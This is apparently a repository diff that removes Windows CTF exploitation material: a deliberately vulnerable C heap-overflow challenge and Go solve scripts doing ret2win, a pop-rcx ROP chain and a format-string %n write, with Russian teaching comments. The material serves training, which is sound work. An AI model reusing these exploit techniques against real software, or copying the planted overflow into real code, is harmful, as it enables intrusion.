(i.e. at name[0]) -- NOT bounds-checked against the
|
|
||||||
32-byte allocation.
|
|
||||||
-> "OK"
|
|
||||||
D <id> call profiles[id]->describe(profiles[id]->name).
|
|
||||||
Q quit.
|
|
||||||
*/
|
|
||||||
#define _CRT_SECURE_NO_WARNINGS
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
char name[24];
|
|
||||||
void (*describe)(const char *);
|
|
||||||
} Profile;
|
|
||||||
|
|
||||||
#define MAX_PROFILES 4096
|
|
||||||
static Profile *g_profiles[MAX_PROFILES];
|
|
||||||
static int g_profile_count = 0;
|
|
||||||
|
|
||||||
static void real_describe(const char *name) {
|
|
||||||
printf("profile: %s\n", name);
|
|
||||||
}
|
|
||||||
|
|
||||||
__declspec(dllexport) void win(const char *ignored) {
|
|
||||||
HANDLE hFile;
|
|
||||||
char buffer[256];
|
|
||||||
DWORD bytesRead;
|
|
||||||
|
|
||||||
printf("you just got code execution via an adjacent-chunk overflow\n");
|
|
||||||
|
|
||||||
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
|
|
||||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
||||||
if (hFile == INVALID_HANDLE_VALUE) {
|
|
||||||
printf("Cannot open file.\n");
|
|
||||||
ExitProcess(0);
|
|
||||||
}
|
|
||||||
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
|
|
||||||
buffer[bytesRead] = '\0';
|
|
||||||
printf("%s", buffer);
|
|
||||||
}
|
|
||||||
printf("\n");
|
|
||||||
CloseHandle(hFile);
|
|
||||||
ExitProcess(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
static int hexval(char c) {
|
|
||||||
if (c >= '0' && c <= '9') return c - '0';
|
|
||||||
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
|
|
||||||
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Decodes hex into out, returns the number of bytes decoded (0 on bad input).
|
|
||||||
No length cap here -- the caller (the O command) is the vulnerable site. */
|
|
||||||
static int unhex(const char *hex, unsigned char *out, int max_out) {
|
|
||||||
int n = (int)strlen(hex);
|
|
||||||
if (n % 2 != 0) return 0;
|
|
||||||
int len = n / 2;
|
|
||||||
if (len > max_out) return 0; /* still capped by our own receive buffer, not by the target's allocation */
|
|
||||||
for (int i = 0; i < len; i++) {
|
|
||||||
int hi = hexval(hex[i * 2]);
|
|
||||||
int lo = hexval(hex[i * 2 + 1]);
|
|
||||||
if (hi < 0 || lo < 0) return 0;
|
|
||||||
out[i] = (unsigned char)((hi << 4) | lo);
|
|
||||||
}
|
|
||||||
return len;
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(void) {
|
|
||||||
setvbuf(stdout, NULL, _IONBF, 0);
|
|
||||||
setvbuf(stdin, NULL, _IONBF, 0);
|
|
||||||
|
|
||||||
unsigned int sig = *(unsigned int *)((char *)GetProcessHeap() + 0x10);
|
|
||||||
printf("heap_segment ready (heap signature 0x%08x)\n", sig);
|
|
||||||
|
|
||||||
char line[1024];
|
|
||||||
while (fgets(line, sizeof(line), stdin)) {
|
|
||||||
line[strcspn(line, "\r\n")] = 0;
|
|
||||||
|
|
||||||
if (line[0] == 'A' && line[1] == ' ') {
|
|
||||||
if (g_profile_count >= MAX_PROFILES) {
|
|
||||||
printf("ERR too many profiles\n");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
Profile *p = (Profile *)HeapAlloc(GetProcessHeap(), 0, sizeof(Profile));
|
|
||||||
if (!p) { printf("ERR alloc failed\n"); continue; }
|
|
||||||
strncpy(p->name, line + 2, sizeof(p->name) - 1);
|
|
||||||
p->name[sizeof(p->name) - 1] = 0;
|
|
||||||
p->describe = real_describe;
|
|
||||||
int id = g_profile_count++;
|
|
||||||
g_profiles[id] = p;
|
|
||||||
printf("OK id=%d addr=0x%p\n", id, (void *)p);
|
|
||||||
} else if (line[0] == 'O' && line[1] == ' ') {
|
|
||||||
int id;
|
|
||||||
char hexbuf[513];
|
|
||||||
if (sscanf(line + 2, "%d %512s", &id, hexbuf) != 2) {
|
|
||||||
printf("ERR usage: O <id> <hex>\n");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
if (id < 0 || id >= g_profile_count || !g_profiles[id]) {
|
|
||||||
printf("ERR bad id\n");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
unsigned char raw[256];
|
|
||||||
int n = unhex(hexbuf, raw, sizeof(raw));
|
|
||||||
if (n == 0) {
|
|
||||||
printf("ERR bad hex\n");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
/* THE BUG: no check that n <= sizeof(Profile). */
|
|
||||||
memcpy(g_profiles[id], raw, n);
|
|
||||||
printf("OK\n");
|
|
||||||
} else if (line[0] == 'D' && line[1] == ' ') {
|
|
||||||
int id = atoi(line + 2);
|
|
||||||
if (id < 0 || id >= g_profile_count || !g_profiles[id]) {
|
|
||||||
printf("ERR bad id\n");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
g_profiles[id]->describe(g_profiles[id]->name);
|
|
||||||
} else if (line[0] == 'Q') {
|
|
||||||
break;
|
|
||||||
} else {
|
|
||||||
printf("ERR unknown command\n");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
|
||||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
|
||||||
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
|
||||||
<windowsSettings xmlns:ws2020="http://schemas.microsoft.com/SMI/2020/WindowsSettings">
|
|
||||||
<ws2020:heapType>SegmentHeap</ws2020:heapType>
|
|
||||||
</windowsSettings>
|
|
||||||
</application>
|
|
||||||
</assembly>
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
1 24 "heap_segment.manifest"
|
|
||||||
Binary file not shown.
Binary file not shown.
@@ -1,59 +0,0 @@
|
|||||||
/*
|
|
||||||
В Go нет встроенной перегрузки типов, поэтому конвертация
|
|
||||||
cырых байт из пайпа в строку, затем в число,
|
|
||||||
вычитание смещения и обратная конвертация в строку
|
|
||||||
делаются явно через пакеты bytes и strconv.
|
|
||||||
*/
|
|
||||||
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"strconv"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
tube, err := winpwn.Spawn("./task1.exe")
|
|
||||||
// tube, err := winpwn.Remote("10.8.0.1", "50957")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Spawn: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
|
|
||||||
log.Fatalf("RecvUntil: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Читаем строку с адресом до переноса и очищаем от спецсимволов (\r\n)
|
|
||||||
addrBytes, err := tube.RecvUntil([]byte("\n"))
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("RecvUntil: %v", err)
|
|
||||||
}
|
|
||||||
addrStr := string(bytes.TrimSpace(addrBytes))
|
|
||||||
|
|
||||||
// В зависимости от компилятора, %p может добавлять или не добавлять "0x"
|
|
||||||
//addrStr = strings.TrimPrefix(addrStr, "0x")
|
|
||||||
|
|
||||||
// Аналог main = int(main, 16)
|
|
||||||
mainAddr, err := strconv.ParseUint(addrStr, 16, 64)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Failed to parse leaked address: %v", err)
|
|
||||||
}
|
|
||||||
fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr)
|
|
||||||
//addr(win)-addr(main) = 267
|
|
||||||
offset := uint64(267)
|
|
||||||
winAddr := mainAddr - offset
|
|
||||||
fmt.Printf("[+] Calculated win: 0x%X\n", winAddr)
|
|
||||||
|
|
||||||
// Аналог hex(win).encode()
|
|
||||||
// %x форматирует число в hex-строку без префикса 0x
|
|
||||||
payload := fmt.Sprintf("%x", winAddr)
|
|
||||||
|
|
||||||
if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil {
|
|
||||||
log.Fatalf("SendLineAfter: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
tube.Interactive()
|
|
||||||
}
|
|
||||||
Binary file not shown.
@@ -1,103 +0,0 @@
|
|||||||
/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */
|
|
||||||
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
target := "task2.exe"
|
|
||||||
|
|
||||||
peFile, err := winpwn.OpenPE(target)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Failed to open PE: %v", err)
|
|
||||||
}
|
|
||||||
defer peFile.Close()
|
|
||||||
|
|
||||||
// 2. Получаем RVA функции win из таблицы экспортов
|
|
||||||
winRVA, err := peFile.GetProcAddress("win")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("win() not found: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR)
|
|
||||||
imageBase, err := peFile.ImageBase()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Failed to read ImageBase: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Вычисляем абсолютный адрес win()
|
|
||||||
winAddr := imageBase + winRVA
|
|
||||||
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
|
||||||
|
|
||||||
// 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен
|
|
||||||
rop, err := winpwn.NewROP(target)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("ROP init error: %v", err)
|
|
||||||
}
|
|
||||||
defer rop.Close()
|
|
||||||
|
|
||||||
popRcxGadgets, err := rop.Search("pop rcx ; ret")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("pop rcx not found")
|
|
||||||
}
|
|
||||||
popRcx := popRcxGadgets[0].Address
|
|
||||||
fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx)
|
|
||||||
|
|
||||||
// Верификация цепочки прямо из скрипта, без внешнего objdump/IDA
|
|
||||||
if lines, err := rop.Disassemble(popRcx, 2); err == nil {
|
|
||||||
fmt.Printf("[*] verified: %s\n", lines)
|
|
||||||
}
|
|
||||||
|
|
||||||
retGadgets, err := rop.Search("ret")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("ret not found")
|
|
||||||
}
|
|
||||||
ret := retGadgets[0].Address
|
|
||||||
|
|
||||||
// 5. Конструируем пейлоад
|
|
||||||
// Реальное расстояние до return-адреса зависит от компилятора и его
|
|
||||||
// версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь
|
|
||||||
// предположение по исходнику. На gcc/MinGW из этой сборки buf реально
|
|
||||||
// лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`),
|
|
||||||
// то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через
|
|
||||||
// objdump -d / x86dbg или просто перебором, не доверяй комментарию
|
|
||||||
// в исходнике вслепую.
|
|
||||||
offset := 56
|
|
||||||
payload := bytes.Repeat([]byte("A"), offset)
|
|
||||||
|
|
||||||
// --- ROP Цепочка ---
|
|
||||||
// Закидываем 0xDEADBEEF в RCX
|
|
||||||
payload = append(payload, winpwn.P64(popRcx)...)
|
|
||||||
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
|
|
||||||
|
|
||||||
// Stack Alignment
|
|
||||||
// Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0).
|
|
||||||
// Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз.
|
|
||||||
payload = append(payload, winpwn.P64(ret)...)
|
|
||||||
|
|
||||||
// Прыжок в win()
|
|
||||||
payload = append(payload, winpwn.P64(winAddr)...)
|
|
||||||
|
|
||||||
// 6. Взаимодействие
|
|
||||||
tube, err := winpwn.Spawn("./" + target)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Spawn: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
|
|
||||||
log.Fatalf("SendLineAfter: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
tube.Interactive()
|
|
||||||
}
|
|
||||||
|
|
||||||
/*На что обратить внимание твоим участникам:
|
|
||||||
|
|
||||||
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
|
|
||||||
|
|
||||||
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
|
|
||||||
Binary file not shown.
Binary file not shown.
@@ -1,66 +0,0 @@
|
|||||||
/*
|
|
||||||
Поскольку %44$n не работает, нам нужно "прошагать" по стеку. При вызове printf(fmt_str, 0xdeadbeef) память выглядит так:
|
|
||||||
|
|
||||||
fmt_str (в RCX)
|
|
||||||
|
|
||||||
0xdeadbeef (в RDX)
|
|
||||||
|
|
||||||
Мусор или старые значения (в R8)
|
|
||||||
|
|
||||||
Мусор (в R9)
|
|
||||||
|
|
||||||
Shadow Space (32 байта на стеке)
|
|
||||||
|
|
||||||
Локальные переменные main (среди которых указатель print_flag).
|
|
||||||
|
|
||||||
Мы будем отправлять пейлоад вида %p %p %p %p... %n. Когда %n дойдет до слота на стеке, где лежит указатель print_flag, printf запишет туда количество выведенных до этого байт. Значение станет больше нуля, и условие if (*print_flag) выполнится.
|
|
||||||
*/
|
|
||||||
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"log"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
// Спавним локальный процесс (потом можно заменить на winpwn.Remote)
|
|
||||||
tube, err := winpwn.Spawn("fs3_win.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Spawn: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Оффсет: сколько спецификаторов %p нужно напечатать,
|
|
||||||
// чтобы следующий элемент указывал на переменную print_flag.
|
|
||||||
// Это число вычисляется динамически в x64dbg (смотришь на стек перед вызовом printf).
|
|
||||||
// Допустим, после анализа мы выяснили, что указатель лежит 12-м по счету.
|
|
||||||
offset := 12
|
|
||||||
|
|
||||||
// Конструируем пейлоад вида: "%p %p %p %p %p %p %p %p %p %p %p %n\n"
|
|
||||||
// Первые %p вытащат RDX (0xdeadbeef), R8, R9, затем содержимое стека.
|
|
||||||
// Последний %n запишет число по адресу, лежащему на стеке (наш print_flag).
|
|
||||||
var payload bytes.Buffer
|
|
||||||
for i := 0; i < offset-1; i++ {
|
|
||||||
payload.WriteString("%p ")
|
|
||||||
}
|
|
||||||
payload.WriteString("%n\n")
|
|
||||||
|
|
||||||
// Отправляем форматную строку
|
|
||||||
if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil {
|
|
||||||
log.Fatalf("SendLineAfter: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Перехватываем управление, чтобы увидеть вывод флага
|
|
||||||
tube.Interactive()
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
Как участникам искать offset?
|
|
||||||
|
|
||||||
Им не обязательно использовать дебаггер. Форматные строки можно фаззить прямо из терминала.
|
|
||||||
Если участник отправит строку AAAA %p %p %p %p %p %p %p %p %p %p, он увидит что-то вроде:
|
|
||||||
AAAA 00000000DEADBEEF 00007FF71234 000000000000 000000000000 029011B0...
|
|
||||||
|
|
||||||
Где 029011B0 — это типичный адрес кучи в Windows. Как только они на глаз определят, каким по счету выводится адрес кучи, они просто заменят последний %p на %n.
|
|
||||||
*/
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
// Шаблон solve-скрипта для winpwn.
|
|
||||||
// cp -r ../workspace/template ../workspace/mysolve
|
|
||||||
// cd ../workspace/mysolve && go run .
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"encoding/binary"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"strconv"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
func p64(v uint64) []byte { return winpwn.P64(v) }
|
|
||||||
func u64(b []byte) uint64 { return binary.LittleEndian.Uint64(b) }
|
|
||||||
|
|
||||||
func parseHex(s string) uint64 {
|
|
||||||
v, _ := strconv.ParseUint(s, 16, 64)
|
|
||||||
return v
|
|
||||||
}
|
|
||||||
|
|
||||||
func parseAddr(line []byte) (uint64, error) {
|
|
||||||
idx := bytes.Index(line, []byte("0x"))
|
|
||||||
if idx == -1 {
|
|
||||||
return 0, fmt.Errorf("no hex addr in %q", line)
|
|
||||||
}
|
|
||||||
return strconv.ParseUint(string(bytes.TrimSpace(line[idx+2:])), 16, 64)
|
|
||||||
}
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
// --- Вариант А: статический бинарь без ASLR ---
|
|
||||||
// Открыть PE для анализа (работает для ASLR:No)
|
|
||||||
pf, err := winpwn.OpenPE("chal.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("OpenPE: %v", err)
|
|
||||||
}
|
|
||||||
winRVA, _ := pf.GetProcAddress("win")
|
|
||||||
base, _ := pf.ImageBase()
|
|
||||||
winAddr := base + winRVA
|
|
||||||
pf.Close()
|
|
||||||
fmt.Printf("[+] win() @ 0x%X\n", winAddr)
|
|
||||||
|
|
||||||
// Запустить таргет
|
|
||||||
tube, err := winpwn.Spawn("chal.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Spawn: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// --- Вариант Б: символы живого процесса (аналог pwintools p.libs/p.symbols) ---
|
|
||||||
// sym := winpwn.NewProcessSymbols(tube.PID())
|
|
||||||
// defer sym.Close()
|
|
||||||
// k32, _ := sym.Base("kernel32.dll")
|
|
||||||
// winexec, _ := sym.Symbol("kernel32.dll", "WinExec")
|
|
||||||
// mods, _ := sym.Modules() // все загруженные DLL
|
|
||||||
_ = winAddr
|
|
||||||
|
|
||||||
tube.RecvLine() // баннер готовности
|
|
||||||
|
|
||||||
// Твой эксплойт здесь
|
|
||||||
|
|
||||||
tube.Interactive()
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user